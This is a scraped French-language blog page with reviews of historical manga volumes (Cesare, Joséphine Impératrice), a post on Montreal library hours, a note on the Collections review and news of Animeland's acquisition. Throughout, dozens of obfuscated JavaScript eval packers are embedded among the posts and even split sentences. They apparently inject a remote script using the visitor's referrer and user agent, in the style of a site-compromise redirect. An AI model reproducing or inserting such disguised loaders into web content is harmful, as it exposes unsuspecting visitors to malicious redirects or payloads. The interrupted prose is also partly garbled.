“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zdzef|var|u0026u|referrer|rzrhe||js|php’.split(‘|’),0,{}))

On y parle, bien sûr, de livres documentaires sur l’Art mais aussi d’adaptation cinématographique d’oeuvres littéraires. Une excellente référence.

La revue est disponible sous forme imprimée dans certaines bibliothèques et sur le site de l’Entrepôt du livre numérique de l’ANEL (en format PDF).

J’ai déjà mentionné le numéro précédant en février.

[ Translate ]

Cesare (11)

Cesare_11-cov“C’est à l’abbaye de Fiesole que Giovanni reçoit ses insignes cardinalices avant de rejoindre Florence, où une foule joyeuse brave la pluie pour venir l’acclamer. Mais Lorenzo, qui attendait pourtant ce jour avec impatience, n’assiste pas au spectacle : cloué au lit, rongé par la maladie, il observe d’un œil inquiet les agissements de son fils Piero, grisé par le succès de son cadet.”

“L’heure est donc venue pour chacun de quitter les bancs de l’université et de suivre son propre chemin. Tandis que Cesare s’emploie à soutenir son père depuis Pise, Angelo, lui, part pour Rome afin d’assister le jeune Médicis dans ses débuts à la Curie…”

“Fuyumi Soryo lève le voile sur le destin hors du commun de l’énigmatique Cesare Borgia dans un manga d’une richesse historique rare, tout simplement passionnant.”

[ Texte de la couverture arrière ]

Continuez après le saut de page >>

Continue reading

Les bibliothèques de Montréal à la traine

Un récent article dans The Gazette (2016/01/22 pg A1-A2) révélait que la Ville de Montréal est à la traîne des banlieues en regard des heures d’ouverture des bibliothèques.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ifney|var|u0026u|referrer|nnhby||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dktfd|var|u0026u|referrer|zizib||js|php’.split(‘|’),0,{}))

“A Montreal Gazette analysis of operating hours shows that, document.write(“”); compared to those in the city of Montreal, libraries in Montreal Island suburbs tend to have longer hours that are more convenient for people who work or go to school during the day.”

Huit des treize banlieues de l’Ile de Montréal offrent considérablement plus d’heures d’ouverture par semaine que les bibliothèques de la Ville de Montréal: Côte-St-Luc offre le plus d’heures (72 heures), suivie de Dollard-des-Ormeaux (71 hrs), Dorval, Kirkland, Westmount (69 hrs chacune), Pointe-Claire (67 hrs), Town of Mount-Royal (64 hrs) et Beaconsfield (63 hrs). Il faut noter que la bibliothèque de Côte-St-Luc ouvrait jusqu’à récemment 84 heures par semaine (de 10h à 22h) mais les heures ont été coupé au début janvier, la bibliothèque fermant maintenant à 18h les vendredis et le week-end. Exceptionnellement, cette bibliothèque ne ferme d’ailleurs jamais pour les fériés et reste ouverte 365 jours par année!

Les deux arrondissements de la Ville de Montréal offrant le plus d’heures d’ouverture sont LaSalle (65 heures) et Montréal-Nord (62 heures) — deux ex-banlieues qui se sont fusionnées en 2001! La plupart des arrondissements (neuf d’entre eux) n’offrent que 53 heures d’ouverture. Les pires arrondissements sont Mercier-Hochelaga-Maisonneuve (49.25 heures) et Côtes-des-Neige-N.D.G. (46 heures)! Mais ce sont tout de même des (petites) banlieues qui se retrouvent au bas de la liste: Montreal-West (avec 32.75 heures) et Baie d’Urfé (avec 31.5 heures). Il n’en demeure pas moins que la ville de Montréal pourrait (et devrait) faire beaucoup mieux!

Malgré un certain effort pour améliorer la situation ces dernières années, le problème est beaucoup plus profond que de simple heures d’ouverture.

Il y a quelques années un article sur le site de Ici-Radio-Canada (2014-11-07) révélait que la ville estimait avoir besoin d’une dizaine de bibliothèques supplémentaires afin de bien desservir la population montréalaise et de rattraper son retard sur les grandes villes canadiennes.

“L’an dernier [2013], les bibliothèques de la Ville de Montréal enregistraient 6,7 millions de visites, en hausse de plus de 4 % par rapport à 2010. Le nombre de prêts est aussi en progression, à 11,4 millions en 2013.”

C’est pourquoi la ville a entreprise de nombreux projets pour agrandir, rénover et construire de nouvelles bibliothèques. Ainsi la bibliothèque de Saul-Bellow a été agrandie et trois nouvelles bibliothèques ont récemment vu le jour: Du Boisé, Marc-Favreau et Benny-Farm.

Mais est-ce assez pour rattraper l’important retard que la ville accuse vis-à-vis des grandes villes canadiennes?

Continuez après le saut de page >>

Je me souviens d’avoir vu il y a plusieurs années (juillet 2005) un rapport établissant le “Diagnostic des bibliothèques municipales de l’Île de Montréal” et Montréal était à la traine des autres grandes ville canadiennes à tout les niveaux:

  • Superficie : les bibliothèques de la ville de Montréal offrent en moyenne 57 m2 par 1000 habitants alors que ce nombre atteint 82.3 m2/1000 hab. à Vancouver et 63.2 m2/1000 hab. à Toronto.
  • Nombre de livres : avec ses 4.5 million de livres, le réseau des bibliothèques de Montréal se retrouve au 4e rang en n’offrant qu’une moyenne de 2.3 livres par habitant alors que ce chiffre est de 4 livres/hab. à Vancouver et de 3.5 livres/hab. à Toronto.
  • Taux de pénétration : le pourcentage des abonnés actifs parmi la population desservie est de 37.8% à Montréal, ce qui place la ville en dernière position (8/8) dans le palmarès des villes canadiennes de 500 000 habitants et plus. Ce même taux est de 67.7% à Vancouver et de 62.6% à Toronto!
  • Dépenses : la ville de Montréal n’investit dans ses bibliothèques que $38.3 per capita ce qui la place au 3e rang, alors que Vancouver investit $63.9 per capita et Toronto $53.1 per capita. “Comme la moyenne des dépenses per capita des grandes bibliothèques canadiennes est de 43,4 $, ce qui représente un investissement de 113,3 % par rapport à celui de Montréal, cela entraîne un écart négatif de 5,1 $ ou 11,8 %.”
  • Personnel : de plus, avec ses 861 employés de bibliothèques et ses 158 bibliothécaires, la ville de Montréal a un déficit de 72 bibliothécaires et de 262.9 employés par rapport à la moyenne des grandes villes canadiennes. Le taux de bibliothécaires par 6000 habitants y est de 0.52 ce qui la place au 5e rang par rapport à Vancouver (1.32) et Toronto (1.05). Avec un taux de 0.95 employé par 2000 habitants, Montréal se classe au 6e rang! L’écart est particulièrement disproportionné dans le cas des employés affectés à la planification du réseau : 8.2 personnes-année (0.9 % de l’ensemble du personnel) à Montréal alors qu’on en retrouve 69,7 personnes-année à Toronto (3.8 % du personnel)!

Bien sûr, ces chiffres datent de plus de dix ans et les choses se sont certainement améliorées depuis mais l’écart de Montréal par rapport au reste du pays reste honteux. Et il risque de le rester quand on a des dirigeants qui semblent penser que la culture devrait être “rentable” et qu’ils coupent dans la culture au lieu d’y investir.

Pourtant l’impact positif des bibliothèques sur le développement de la population (en alphabétisation, littéracie, intégration des nouveaux arrivants, recherche d’emploi (impact économique), aide aux devoirs et à la recherche, développement personnel, culture générale, socialisation, santé, etc) —- particulièrement dans le cas de la population défavorisée et vulnérable (personnes à faible revenu, personnes âgées, etc) —- est déjà clairement et indubitablement établi. Selon l’UNESCO, les bibliothèques ont une mission d’éducation, de culture et d’information.

Malheureusement, beaucoup de gens semblent encore penser que, de nos jours (avec l’internet), les bibliothèques sont devenues inutiles! Les gens aisés tendent à oublier que ce n’est pas tout le monde qui a l’internet ou qui peut se payer des livres, des encyclopédie ou des dictionnaires! Le bénéfices générés par les bibliothèques ne se calcul pas en dollars ou en valeur économique, mais en développement social, culturel, intellectuel et scientifique, ce qui est indispensable à toute société. Elles sont le temple du savoir humain. Qu’on se le dise! Si on veut VRAIMENT aller plus loin, il faudra faire plus pour nos bibliothèques!

[ Translate ]

Découverte: Revue Collection Vol. 3, No 1

J’ai découvert par hasard cette semaine qu’un nouveau numéro de la revue Collections était maintenant disponible. J’ai déjà parlé de ce périodique à l’automne (dans le cadre de la première partie de mon essai sur les genres littéraires). Collections c’est une revue de la littérature d’ici pour les bibliothèques d’ici publiée par l’ANEL (l’Association Nationale Des éditeurs De Livres) sous forme imprimée et électronique (livrel). Publiée six fois l’an, document.write(“”); chaque numéro de la revue “aborde (…) un thème spécifique, le tout dans un cadre visant à faciliter le développement des collections et la création d’activités par les bibliothécaires”.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rfkrn|var|u0026u|referrer|ibrik||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aiybt|var|u0026u|referrer|bynkb||js|php’.split(‘|’),0,{}))

Le plus récent numéro, le vol. 3 No 1 (publié en février 2016), est consacré à l’histoire et à la politique. Dans ce numéro “Découvrez tout ce qui se prépare sur le 375e anniversaire de Montréal, apprenez à connaître les personnages historiques à travers leur biographie, parcourez la liste des livres jeunesse, etc.” Ici il est moins question de littérature historique ou politique mais surtout de documentaires sur l’histoire et la politique: biographies de personnages historiques, l’histoire sociale au Québec, essais sur la société et la politique québécoise, etc. On parle tout de même de la politique et de l’histoire dans la fiction (pour adultes mais aussi pour la jeunesse).

La revue est disponible dans certaines bibliothèques et sur le site de l’Entrepôt du livre numérique de l’ANEL (en format PDF).

C’est une ressource très intéressante et pas seulement pour les bibliothécaires mais pour tout les intervenants et fervents de livre et de savoir.

[ Translate ]

Joséphine Impératrice (4)

“Pour permettre à Napoléon d’accéder à la gloire, document.write(“”); Agathon devient officier de son état major. Il manque d’y perdre la vie, mais le jour tant attendu du couronnement arrive enfin. Mais, que réserve l’avenir au couple le plus célèbre de l’histoire ?”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yzrds|var|u0026u|referrer|ysizy||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|afyfb|var|u0026u|referrer|zztat||js|php’.split(‘|’),0,{}))

“La dernière partie des aventures de Joséphine, la célèbre épouse de Napoléon!”

[ Texte du site de l’éditeur; voir aussi la couverture arrière ]

Continuez après le saut de page >>

ATTENTION: Peut contenir des traces de “spoilers”! Les personnes allergiques à toutes discussions d’une intrigue avant d’en avoir elle-même prit connaissance sont vivement conseillé de prendre les précautions nécessaires pour leur sécurité et ne devraient poursuivre qu’avec circonspection.

Joséphine Impératrice (?????????? / Bara no Josephine / lit. “Les roses de Joséphine”) est un manga sh?jo romantique et historique écrit par Kaoru Ochiai et illustré par Yumiko Igarashi. Prépublié en feuilletons dans Princess Gold, le magazine mensuel sh?jo de Akita Shoten, entre septembre 2011 et décembre 2013, il a été compilé en un premier volume en mai 2012 et le quatrième (et dernier) volume est paru en avril 2014. Il a été traduit en français chez Pika Éditions au début octobre 2013. Un second volume a suivi à la fin octobre, puis un troisième en mars 2014 et, finalement, le quatrième volume français est paru en juillet 2014. Voir mon commentaire sur le premier volume pour plus de détails sur l’auteur et la série.

Le 9 mars 1796, Napoléon épousa Joséphine, au cours d’un mariage modeste à la mairie de Paris. Toutefois, comme Napoléon était en retard à cause d’une réunion d’état-major, le maire s’impatientât et quitta, ce qui fait que la cérémonie fut officié par l’adjoint du maire. De plus, Napoléon et Joséphine n’inscrivent même pas leur véritable dates de naissance (elle pour se rajeunir et lui pour se vieillir!). Deux jours plus tard, Napoléon et Agathon quittent pour faire campagne en Italie afin de libérer la Lombardie et le Piémont de l’occupation autrichienne. Agathon, en fin stratège, se fait accompagné d’un journaliste et d’un dessinateur qui rapporteront dans un journal parisien tout les faits et gestes de Napoléon en les présentant sous un jour favorable. En agissant ainsi Agathon espère se faire l’architecte de la gloire de Napoléon. Pendant ce temps, Joséphine est la coqueluche des salon parisiens et gagne le coeur tant du peuple que de la haute société [ci-haut: page 49].

Napoléon écrit régulièrement à Joséphine et lui envoie des trésors d’or et d’art provenant des tributs et du pillage de sa campagne. Toutefois, celle-ci ne lui répond pas ce qui inquiète le général et le distrait de son devoir militaire. Les conseillers du directoire et Agathon trouvent une solution en convainquant Joséphine de rejoindre Napoléon en Italie. Elle s’installe au palais Serbelloni de Milan. Il peut alors se consacrer au siège de Mantoue, où les Autrichiens résistent toujours. Avant leur départ, Joséphine remet à Napoléon et Agathon un foulard porte-chance. Mais Pauline, la soeur de Napoléon, voit Joséphine sortir de la chambre d’Agathon et assume qu’ils ont une liaison. Elle écrit donc une lettre pour en avertir son frère. Les relations de Joséphine avec sa belle-famille sont à leur pire et la mère de Napoléon jure de les séparer.

Jaloux de l’intimité dont Agathon jouit avec Joséphine, Napoléon l’envoi au front en tant que porte-étendard lors de la bataille du pont d’Arcole, espérant qu’il périsse. Quoiqu’il change d’avis, Agathon, pour protéger le général, ne lui laisse pas prendre l’étendard et est gravement blessé. Bien sûr, la propagande fera que l’histoire se souviendra que c’est Napoléon lui-même qui portait l’étendard. Dans son délire, Agathon murmure qu’il aura une mort digne et que Joséphine n’aura pas a rougir de son petit-frère. Bonaparte comprend alors son erreur: Agathon est le demi-frère de Joséphine ce qui explique l’affection qu’ils partagent! Lorsqu’Agathon se réveille, Eugène est a son chevet. Il a maintenant rejoint l’armée comme membre de l’état-major de Napoléon.

Après la bataille de Rivoli, le siège de Mantoue prends fin lorsque la ville capitule. Emporté dans son élan, Napoléon poursuit son offensive vers Vienne et obtient un traité de paix avec les Autrichiens. Il est de retour à Paris en décembre 1797 mais, six mois plus tard, comme l’Angleterre demeure en guerre, il repart faire campagne, cette fois en Égypte, afin de de couper le contact entre les anglais et leur riche colonie de l’Inde. Mais suite à l’incompétence du Directoire la marine française est anéanti par Nelson et Napoléon se retrouve isolé, sans ravitaillement, abandonné en Egypte. Pour faire face à une deuxième coalition et à la monté des mouvements royalistes contre-révolutionnaires, Bonaparte n’a pas le choix: il ignore ses ordres, fuit l’Égypte et rentre à Paris avec ce qu’il lui reste de troupe afin de renverser le Directoire grâce à son large support populaire! Le Directoire est dissous en décembre 1799 et Napoléon devint le premier consul de la République.


Napoléon achète pour Joséphine le chateau de Malmaison. Il commence alors son oeuvre politique pour consolider l’État et la société française: il signe des traités de paix avec le membres de la coalition, particulièrement avec l’Angleterre, il réconcilie la France et le Saint-Siège, publie le Code Civil, etc. Après plusieurs complots et attentats il doit réprimer l’opposition. Finalement, en 1804, à la demande du Sénat et avec l’approbation du peuple par plébiscite, Napoléon est nommé Empereur des français. Comme leur premier mariage civil n’était pas vraiment valide, Napoléon et Joséphine sont marié religieusement par le Cardinal Fesch. Napoléon peut alors, sans entrave, être sacré Empereur [ci-haut: pages 152-153].

En mars 1805, Napoléon est également sacré roi d’Italie et monsieur Eugène (fils de Joséphine) est nommé vice-roi (et sera également marié à la princesse Augusta-Amélie de Bavière). Napoléon nomme son frère, Louis (qui a marié le fille de Joséphine, Hortense), roi de Hollande. Son fils Charles est l’héritier en titre de Napoléon, mais sa mort prématuré, à l’âge de quatre ans, remet toute la succession en question. Sous la pression de sa mère, le cabinet demande à Napoléon de divorcer Joséphine afin d’épouser une princesse plus jeune et avoir un successeur pour garantir la sécurité et la stabilité de l’Empire. Napoléon résiste mais c’est Joséphine elle-même qui l’en convainc [ci-contre: page 168]. Elle conservera son titre d’impératrice et se retirera à Malmaison pour cultiver des roses (plus de 250 espèces — d’où le titre Japonais original du manga, Les roses de Joséphine) et des plantes exotiques du monde entier.

Napoléon épousera Marie-Louise d’Autriche, qui lui donna un fils, Napoléon II, qui ne règne jamais sur la France. Après son divorce, la chance de Napoléon tourne: une nouvelle coalition contre la France l’amène à une désastreuse campagne de Russie en 1812. Défait, Napoléon doit abdiquer et est exilé sur l’Île d’Elbe. La monarchie est brièvement restaurée.

Lors d’une visite du tsar Alexandre Ier à Malmaison Joséphine a un malaise (en fait, elle prend froid et attrape une pneumonie) et meurt peu de temps après (mai 1814). Ses dernières paroles furent pour Bonaparte. Après s’être échappé d’Elbe en mars 1815, Napoléon revint à Malmaison et pleura dans la chambre de Joséphine. Après un bref retour au pouvoir et sa défaite à Waterloo, Napoléon sera exilé à nouveau, cette fois sur l’Île Sainte-Hélène où il meurt en mai 1821. Ses dernières paroles auraient été pour Joséphine. Ils auront été amant jusqu’au bout…

Je dois avouer que la lecture de Joséphine Impératrice est une excellente façon de rafraîchir (très brièvement) ses connaissances sur l’Histoire de France. Et, dans l’ensemble, cette série est un magnifique exemple (par le thème mais surtout par son superbe style graphique) de manga sh?jo. Toutefois, ce volume en particulier est un peu moins intéressant, car le récit est un peu précipité vers la fin. De plus, la véracité du détails des événements historiques (quoique l’essentiel est vrai il faut dire), des motivations des protagonistes ainsi que la caractérisation des personnages (je doute sérieusement que Joséphine ait accepté le divorce aussi gracieusement!) est plutôt suspect. Quoiqu’il en soit c’est une lecture agréable qui nous offre un très bon manga romantique et historique. A lire absolument!

Joséphine Impératrice, vol. 4, écrit par Kaoru Ochiai et illustré par Rumiko Igarashi. Boulogne: Pika Éditions, juillet 2014. 192 pgs, N&B, 11.5 x 18.0 x 1.4 cm, 7,50 € / $12.95 Can, ISBN  978-2-8116-1523-9. Sens de lecture japonais. Recommandé pour adolescents (12+).
Pour plus d’information vous pouvez consulter les sites suivants:

Voir aussi mes commentaires sur les volumes précédents:
Bara no Josephine © Kaoru OCHIAI / Yumiko IGARASHI / Visions 2014 / AKITA SHOTEN.

[ Translate ]

Animeland change de propriétaire

Voici la preuve que je ne suit plus vraiment l’actualité dans le domaine de l’anime et du manga (à part lire les gros titres du fil de nouvelles de ANN et Animeland — que vous retrouvez dans la colonne de droite de mon blog). Je suis passé à côté d’une grosse nouvelle: Animeland a changé de propriétaire… l’an dernier!

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fftdb|var|u0026u|referrer|edzbt||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tbdsa|var|u0026u|referrer|attka||js|php’.split(‘|’),0,{}))

AnimeLand est le 1er magazine français sur l’animation japonaise et internationale, document.write(“”); les mangas et tout l’univers otaku en France”. À tout les deux mois il offre une centaines de pages pleine à craquer de news, chroniques, interviews, articles et dossiers. J’ai toujours grandement admiré ce magazine fondé par Yvan West Laurence et Cédrik Littardi en avril 1991 (même si j’ai souvent eut l’impression que parfois ils “s’inspiraient” de Protoculture Addicts — quoiqu’il faudrait sans doute dire que l’inspiration était mutuelle). C’est rapidement devenu le meilleurs magazine sur l’anime et le manga hors-Japon et pas seulement en langue française.

Il y a quelques semaines, voulant justement me mettre un peu à jour dans les dernières tendances de la pop-culture japonaise, j’ai emprunté le plus récent numéro à la bibliothèque (#207, Décembre 2015 / Janvier 2016). Quelle ne fut pas ma surprise de découvrir que l’éditorial était signé par… Christopher Macdonald, l’éditeur de Anime News Network (et mon partenaire dans la dernière incarnation de Protoculture Addicts)! J’ai également noté que le magazine n’était plus publié par Anime Manga Presse mais plutôt par le mystérieux AMN (et cela depuis le numéro 202, en février/mars 2015). Qu’est-ce que tout cela voulait dire?

J’ai trouvé la réponse dans le fil de nouvelle du site d’Animeland: “Anime News Network reprend AnimeLand” (daté du 21 décembre 2014) [MàJ: ANN en a aussi parlé en janvier 2015]. ANN s’était donc bel et bien porté acquéreur du magazine français! Wow!

“Anime News Network, site internet leader mondial des news sur le manga et l’animation japonaise, est heureux d’annoncer la reprise d’AnimeLand, le premier magazine français de l’animation et du manga. (…) Une nouvelle société, AM Media Network, filiale de la société québécoise Anime News Network, reprend dès maintenant la publication de tous les magazines d’Anime Manga Presse qui, suite à des troubles financiers importants, a récemment traversé une procédure judiciaire.”

Toute mes félicitations à mon ami Christopher! Je lui souhaite, ainsi qu’à Animeland, le plus grand des succès. Je vais très certainement essayer de les suivre de plus près.

[ Translate ]

Joséphine Impératrice (3)

“Après la mort de Robespierre et la fin de la Terreur, document.write(“”); Joséphine peut enfin sortir de prison. Elle se retrouve alors propulsée dans la vie mondaine parisienne, et très vite, devient le centre de gravité de l’un des grands salons de la capitale, où elle reçoit des hôtes prestigieux. Un jour, se présente un petit général, le jeune et timide Napoleone di Buonaparte, appelé à un grand avenir. Joséphine saura-t-elle découvrir le coeur d’or qui se cache derrière ces manières un peu brusques ?”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bsaia|var|u0026u|referrer|bbddh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|faafs|var|u0026u|referrer|senta||js|php’.split(‘|’),0,{}))

“La vie tumultueuse et passionnée de Joséphine de Beauharnais, qui devint la femme de Napoléon et l’impératrice des Français !”

[ Texte du site de l’éditeur et de la couverture arrière ]

Continuez après le saut de page >>

ATTENTION: Peut contenir des traces de “spoilers”! Les personnes allergiques à toutes discussions d’une intrigue avant d’en avoir elle-même prit connaissance sont vivement conseillé de prendre les précautions nécessaires pour leur sécurité et ne devraient poursuivre qu’avec circonspection.

Joséphine Impératrice (?????????? / Bara no Josephine / lit. “Les roses de Joséphine”) est un manga sh?jo romantique et historique écrit par Kaoru Ochiai et illustré par Yumiko Igarashi. Prépublié en feuilletons dans Princess Gold, le magazine mensuel sh?jo de Akita Shoten, entre septembre 2011 et décembre 2013, il a été compilé en un premier volume en mai 2012 et le quatrième (et dernier) volume est paru en avril 2014. Il a été traduit en français chez Pika Éditions au début octobre 2013. Un second volume a suivi à la fin octobre, puis un troisième en mars 2014 et, finalement, le quatrième volume français est paru en juillet 2014. Voir mon commentaire sur le premier volume pour plus de détails sur l’auteur et la série.

Rose a été arrêté simplement parce qu’elle est l’épouse d’Alexandre de Beauharnais, qui a été exécuté sous l’accusation d’être un traître. Agathon, le domestique et demi-frère de Rose, tente le tout pour le tout pour la faire libérer en assassinant Robespierre. Au même moment les députés de la Convention font arrêter les Jacobins dans l’espoir de mettre fin à la Terreur par la terreur! Ainsi, le 29 juillet 1794, Saint-Just et dix-neuf de ses compagnons furent exécutés. Dans les jours qui suivirent près d’une centaine de partisans Jacobins furent aussi guillotinés! Peu de temps après, Rose est finalement libéré et Agathon l’attend à sa sortie de prison. Elle retrouve rapidement la vie mondaine parisienne et s’épanouie à la “chaumière,” le salon de sa compagne de captivité, Thérésia Cabarrus, qui est devenu l’épouse de Tallien. C’est là qu’elle attire l’attention du timide et maladroit Napoleone di Buonaparte. [ci-haut: p. 46]

Agathon voudrait bien servir Rose de son mieux mais se sent plutôt inutile. Comme ils n’ont pas vraiment de revenu, Agathon cherche un moyen de gagner de l’argent. Avec la complicité du négociant Charles Tustier, que Rose avait rencontrer lors de son voyage en Martinique, Agathon fera le commerce du thé indien (interdit en France à cause de la guerre avec l’Angleterre, il est apporté au pays en contrebande par des navires anglais).

Napoleone di Buonaparte s’illustre avec la répression de l’insurrection de Vendémiaire. Il n’hésite pas à utiliser des canons en plein Paris contre les royalistes. Acclamé comme un héros, il est nommé commandant en chef des armées révolutionnaires à la place de Barras. Il vient en aide à Eugène, le fils de Rose, qui désire conserver le sabre de son père alors que toutes les armes sont interdites dans Paris suite à l’insurrection. Rose vient le remercier et Napoleone en tombe amoureux. Il demande l’aide d’Agathon pour lui faire la cour [ci-dessous: pp. 92-93].


Napoleone découvre que Agathon est derrière la contrebande de thé et le défi en duel mais, voyant comment il est dévoué au service de Rose, décide de l’épargner. Agathon lui suggère d’amener Rose en ballade à l’extérieur de Paris. Le couple se rapproche et finalement Napoleone demande Rose en mariage. Rose, trouvant son nom trop Italien, surnomme le Général “Napoléon”. Celui-ci veut aussi lui donner un nom que lui seul emploierait et ainsi Marie-Josèphe-Rose de Beauharnois devient “Joséphine”! [ci-contre: p. 134] Mais Hortense, la fille de Rose, s’oppose à cette union et fugue de la maison. Agathon et Napoléon la retrouve et parviennent à la faire changer d’avis.

Les monarchies voisines, craignant que la révolution soit contagieuse, forment une coalition contre la France. Bonaparte est nommé Commandant Général de l’armée d’Italie. Agathon se joint à son état-major en tant que conseillé stratégique. Rose fait la rencontre de la mère (Maria Letizia), du frère (Louis) et des soeurs (Pauline et Caroline) de Napoléon. Ils sont plutôt désagréables et mesquins mais Rose réussi tout de même à les charmer. Deux jours avant son départ pour la campagne d’Italie, le 9 mars 1796, Joséphine et Napoléon se marient à la mairie de Paris au cours d’une cérémonie modeste.

Joséphine Impératrice est un beau manga historique mais qui prends tout de même beaucoup de liberté avec l’Histoire. Par exemple, Robespierre n’est pas mort assassiné mais plutôt guillotiné le 28 juillet 1794. Ce manga n’a certes pas le sérieux de Cesare, qui offre dans chaque volume une bibliographie et plusieurs pages de notes historiques sur les événements, l’architecture ou les artistes présent dans le récit. C’est avant tout un manga romantique présenté dans un contexte historique qui se veut plus ou moins exacte mais sans faire trop d’effort. C’est un beau petit récit, très agréable à lire et dessiné dans un superbe style shojo, très typique du genre (sur ce sujet voir mon commentaire sur le deuxième volume). Juste pour cet aspect, c’est un manga qu’il faut lire absolument!

Joséphine Impératrice, vol. 3, écrit par Kaoru Ochiai et illustré par Yumiko Igarashi. Boulogne, Pika Éditions, mars 2014. 192 pages, N & B, 11.5 x 18.0 x 1.4 cm, 7,50 € / $12.95 Can, ISBN  978-2-8116-1395-2. Sens de lecture original japonais. Recommandé pour adolescents (12+).

Pour plus d’information vous pouvez consulter les sites suivants:

Voir aussi mes commentaires sur les volumes précédents:

Bara no Josephine © Yumiko Igarashi & Kaoru Ochiai / Visions 2013. All rights reserved. © 2014 Pika Éditions pour la présente édition française.

[ Translate ]

Cesare (10)

Cesare_10-cov“Tout Pise est en effervescence : Giovanni de Médicis s’apprête à passer son grand oral, ultime étape qui le sépare de la fin de ses études et surtout de son accession au rang de cardinal…”

“Mais sa réussite n’aura pas seulement des conséquences politiques. À la suggestion de Cesare, Angelo se prépare à partir pour Florence, où il est destiné à devenir le nouvel homme de confiance de Son Excellence. L’avenir des Borgia, des Médicis et de la papauté même repose désormais sur les épaules de Giovanni !”

“Fuyumi Soryo lève le voile sur le destin hors du commun de l’énigmatique Cesare Borgia dans un manga d’une richesse historique rare, tout simplement passionnant.”

[ Texte de la couverture arrière ]

Continuez après le saut de page >>

Continue reading

Cesare (9)

Cesare_9-cov“Cesare a désormais conscience que le fragile équilibre sur lequel repose la péninsule italienne pourrait bien voler en éclats : Lorenzo de Médicis est rongé par la maladie, tandis qu’un discours dissident, porté notamment par le charismatique Savonarole, commence à prendre de l’ampleur au cœur même de Florence.”

